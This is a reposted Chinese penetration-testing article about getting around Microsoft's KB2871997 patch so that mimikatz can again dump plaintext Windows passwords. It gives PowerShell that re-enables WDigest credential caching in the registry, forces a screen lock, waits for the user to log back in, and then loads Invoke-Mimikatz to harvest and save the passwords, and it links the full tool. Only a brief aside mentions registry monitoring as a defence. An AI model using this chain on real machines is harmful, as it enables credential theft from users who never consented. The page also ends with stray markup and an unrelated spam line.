<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/16818

            0x00 前言


            在滲透測試中,滲透測試人員通常會使用mimikatz從LSA的內存中導出系統的明文口令,而有經驗的管理員往往會選擇安裝補丁kb2871997來限制這種行為。這其中涉及到哪些有趣的細節呢?本文將會一一介紹。

            Alt text

            圖片來自https://pixabay.com/zh/%E5%AF%86%E7%A0%81-%E5%AE%89%E5%85%A8-%E8%BD%AC%E5%82%A8-%E5%86%85%E5%AD%98-%E4%BA%8C%E8%BF%9B%E5%88%B6-%E9%95%9C%E5%A4%B4-%E6%89%8B-%E6%89%8B%E6%8C%87-%E5%8F%8D%E5%B0%84-704252/

            0x01 簡介


            KB2871997:

            更新KB2871997補丁后,可禁用Wdigest Auth強制系統的內存不保存明文口令,此時mimikatz和wce均無法獲得系統的明文口令。但是其他一些系統服務(如IIS的SSO身份驗證)在運行的過程中需要Wdigest Auth開啟,所以補丁采取了折中的辦法——安裝補丁后可選擇是否禁用Wdigest Auth。當然,如果啟用Wdigest Auth,內存中還是會保存系統的明文口令。

            支持系統:

            配置:

            1、下載補丁并安裝

            下載地址:
            https://support.microsoft.com/en-us/kb/2871997

            2、配置補丁

            下載easy fix并運行,禁用Wdigest Auth

            注:
            easy fix的操作其實就是改了注冊表的鍵值,所以這里我們可以手動操作注冊表來禁用Wdigest Auth

            對應的注冊表路徑為:

            HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
            

            名稱為:

            UseLogonCredential
            

            類型為:

            REG_DWORD
            

            值為:

            0
            

            使用批處理的命令為:

            #!bash
            reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
            

            如圖

            Alt text

            3、重啟系統

            測試無法導出明文口令

            如圖

            Alt text

            0x02 解決方法


            需要將UseLogonCredential的值設為1,然后注銷當前用戶,用戶再次登錄后使用mimikatz即可導出明文口令。

            Nishang中的Invoke-MimikatzWDigestDowngrade集成了這個功能,地址如下:

            https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1

            但是在功能上還無法做到一鍵操作,于是我對此做了擴展。

            0x03 擴展思路


            操作流程如下:

            腳本實現上需要考慮如下問題:

            1. 修改注冊表
            2. 鎖屏
            3. 進入循環,判斷當前系統是否結束鎖屏狀態
            4. 用戶登錄后,跳出循環等待,立即導出明文口令并保存

            0x04 擴展方法


            通過powershell實現

            1、修改注冊表

            鍵值設為1:

            #!bash
            Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
            

            循環判斷注冊表鍵值是否為0,如果為1,等待10s再次判斷,如果為0,退出循環,可用來監控此注冊表鍵值是否被修改:

            #!powershell
            $key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
            $Flag=$key.UseLogonCredential
            write-host "[+]Checking Flag"
            while($Flag -eq 1)
            {
                write-host "[+]Flag Normal"
                write-host "[+]Wait 10 Seconds..."
                Start-Sleep -Seconds 10
                $key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
                $Flag=$key.UseLogonCredential
                write-host "[+]Checking Flag"
            }
            write-host "[!]Flag Changed!"
            

            如圖

            Alt text

            2、鎖屏

            鎖屏操作的快捷鍵為Win+L

            cmd下命令為:

            rundll32.exe user32.dll,LockWorkStation
            

            powershell代碼如下:

            #!powershell
            Function Lock-WorkStation {
            $signature = @"
            [DllImport("user32.dll", SetLastError = true)]
            public static extern bool LockWorkStation();
            "@
            
            $LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
            $LockWorkStation::LockWorkStation() | Out-Null
            }
            Lock-WorkStation
            

            如圖

            Alt text

            3、判斷當前系統是否結束鎖屏狀態

            最開始的思路為鎖屏會運行某個進程,在結束鎖屏狀態后會退出某個進程或是在結束鎖屏狀態后會啟動某個進程,于是編寫了如下測試代碼:

            判斷進程notepad進程是否存在,如果不存在等待10s再次判斷,如果存在,退出循環:

            #!powershell
            $id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
            $Flag=$id.Id+0
            write-host "[+]Checking tasklist"
            while($Flag -eq 0)
            {
                write-host "[-]No notepad.exe"
                write-host "[+]Wait 10 Seconds..."
                Start-Sleep -Seconds 10
                $id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
                $Flag=$id.Id+0
                write-host "[+]Checking tasklist"  
            }
            write-host "[!]Got notepad.exe!"
            

            但是實際測試效果均不太理想,后來在如下鏈接找到了解決思路:

            http://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen

            鎖屏狀態下GetForegroundWindow()的函數返回值為NULL,非鎖屏狀態下GetForegroundWindow()的函數返回值為一個非零的值。

            對于GetForegroundWindow()的函數用法可在如下鏈接找到參考:

            https://github.com/PowerShellMafia/PowerSploit/blob/dev/Exfiltration/Get-Keystrokes.ps1

            于是在此基礎上實現功能:

            循環判斷當前是否為鎖屏狀態,如果不是鎖屏狀態,退出循環,否則循環等待

            #!powershell
            function local:Get-DelegateType {
              Param (
                [OutputType([Type])]
              [Parameter( Position = 0)]
              [Type[]]
              $Parameters = (New-Object Type[](0)),
                [Parameter( Position = 1 )]
              [Type]
              $ReturnType = [Void]
              )
                $Domain = [AppDomain]::CurrentDomain
                $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
                $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
                $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
                $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
                $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
                $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
                $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
                $MethodBuilder.SetImplementationFlags('Runtime, Managed')
            
                $TypeBuilder.CreateType()
            }
            function local:Get-ProcAddress {
              Param (
                [OutputType([IntPtr])]
              [Parameter( Position = 0, Mandatory = $True )]
              [String]
              $Module,
                [Parameter( Position = 1, Mandatory = $True )]
              [String]
              $Procedure
                )
                $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
                Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
              $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
                $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
                $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
                $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
                $tmpPtr = New-Object IntPtr
                $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
                $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
            }
            Start-Sleep -Seconds 10
            $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
            $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
            $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
            $hWindow = $GetForegroundWindow.Invoke()
            
            
            write-host "[+]Checking Flag"
            while($hWindow -eq 0)
            {
              write-host "[+]LockScreen"
              write-host "[+]Wait 10 Seconds..."
              Start-Sleep -Seconds 10
              $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
              $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
              $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
              $hWindow = $GetForegroundWindow.Invoke()
              write-host "[+]Checking Flag"
            
            }
            write-host "[!]Got Screen!"
            

            為方便演示,上面的腳本添加了等待10s后再判斷的功能,如圖

            Alt text

            4、用戶登錄后,跳出循環等待,立即導出明文口令并保存

            導出口令的功能參考如下代碼

            https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

            通過powershell加載mimikatz導出明文口令,添加了保存、判斷、循環等細節,整合文中的功能,完整的代碼已上傳至github,地址為:

            https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed

            完整演示如圖

            Alt text

            0x05 小結


            本文對加載mimikatz導明文口令的powershell腳本做了擴充,添加了如下功能:

            同時也通過powershell實現了監控并記錄對注冊表鍵值的修改,可用作防御

            0x06 補充


            https://github.com/l3m0n/pentest_study

            見上面的鏈接,l3m0n對滲透測試的整理很是細心,是個很好的學習資料。另外在其github上hash抓取這一章中的win8+win2012明文抓取描述為測試失敗,希望本文對你(@l3m0n)有用

            更多學習資料:

            https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线